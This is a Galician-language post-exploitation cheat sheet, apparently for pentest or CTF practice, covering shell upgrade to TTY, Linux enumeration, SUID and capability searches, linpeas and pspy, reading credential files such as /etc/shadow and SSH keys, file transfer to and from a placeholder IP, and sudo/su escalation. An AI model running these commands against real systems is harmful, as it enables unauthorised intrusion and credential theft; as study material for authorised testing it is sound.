Ir ao contido

Comandos tipo empregados na Fase 4

Comando Propósito Uso típico
script Mellorar TTY script /dev/null -c bash
python3 (PTY) Crear TTY interactiva python3 -c 'import pty;pty.spawn("/bin/bash")'
stty Axustar modo terminal stty raw -echo;fg
reset Reiniciar terminal reset
sudo -l Listar permisos sudo sudo -l
find Buscar SUID / ficheiros clave find / -perm -4000 2>/dev/null
getcap Buscar capabilities perigosas getcap -r / 2>/dev/null
linpeas.sh Enumeración automatizada bash linpeas.sh
pspy Monitorizar procesos / crons ./pspy64
cat / grep Ler e filtrar ficheiros cat /etc/passwd, grep bash /etc/passwd
su Cambiar de usuario / root su -
base64 Transferencia vía texto base64 ficheiro
python3 -m http.server Servidor HTTP simple python3 -m http.server 8000
wget / curl / scp Transferencia de ficheiros Descargar/subir scripts, binarios, flags

Exemplos

Mellora de TTY / Terminal

Máis información en...

Tips - TTY non interactiva

# Mellorar shell remota básica
script /dev/null -c bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo;fg
reset
export TERM=xterm
export SHELL=bash

Enumeración básica

whoami
id
hostname
uname -a
cat /etc/passwd
grep bash /etc/passwd
sudo -l
env
pwd
ls -la

Busca de ficheiros / SUID / capabilities

# SUID / SGID
find / -type f -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null

# Ficheiros por usuario/grupo
find / -user usuario 2>/dev/null
find / -group grupo 2>/dev/null

# Ficheiros escribibles
find / -writable 2>/dev/null

# Capabilities perigosas
getcap -r / 2>/dev/null

Enumeración avanzada

# linpeas
bash linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# pspy
./pspy64
./pspy64 -pf -i 1000

Lectura de ficheiros sensibles

cat /etc/shadow
cat /home/user/.ssh/id_rsa
cat /var/www/html/config.php
cat wp-config.php
cat /etc/crontab

Transferencia de ficheiros

# Base64
base64 linpeas.sh | tee linpeas_b64.txt
cat linpeas_b64.txt | base64 -d > linpeas.sh

# HTTP simple
python3 -m http.server 8000

# Descarga
wget http://IP/file
curl http://IP/file -o file

# SCP
scp file user@IP:/path
scp -i id_rsa file user@IP:/path

Escalada / cambio de usuario

sudo -l
sudo -u usuario comando
sudo comando

su -
su - usuario

Documentación de Cada Comando

sudo -l

find

getcap

linpeas.sh

pspy

cat / grep

su

base64

Python HTTP server

wget / curl / scp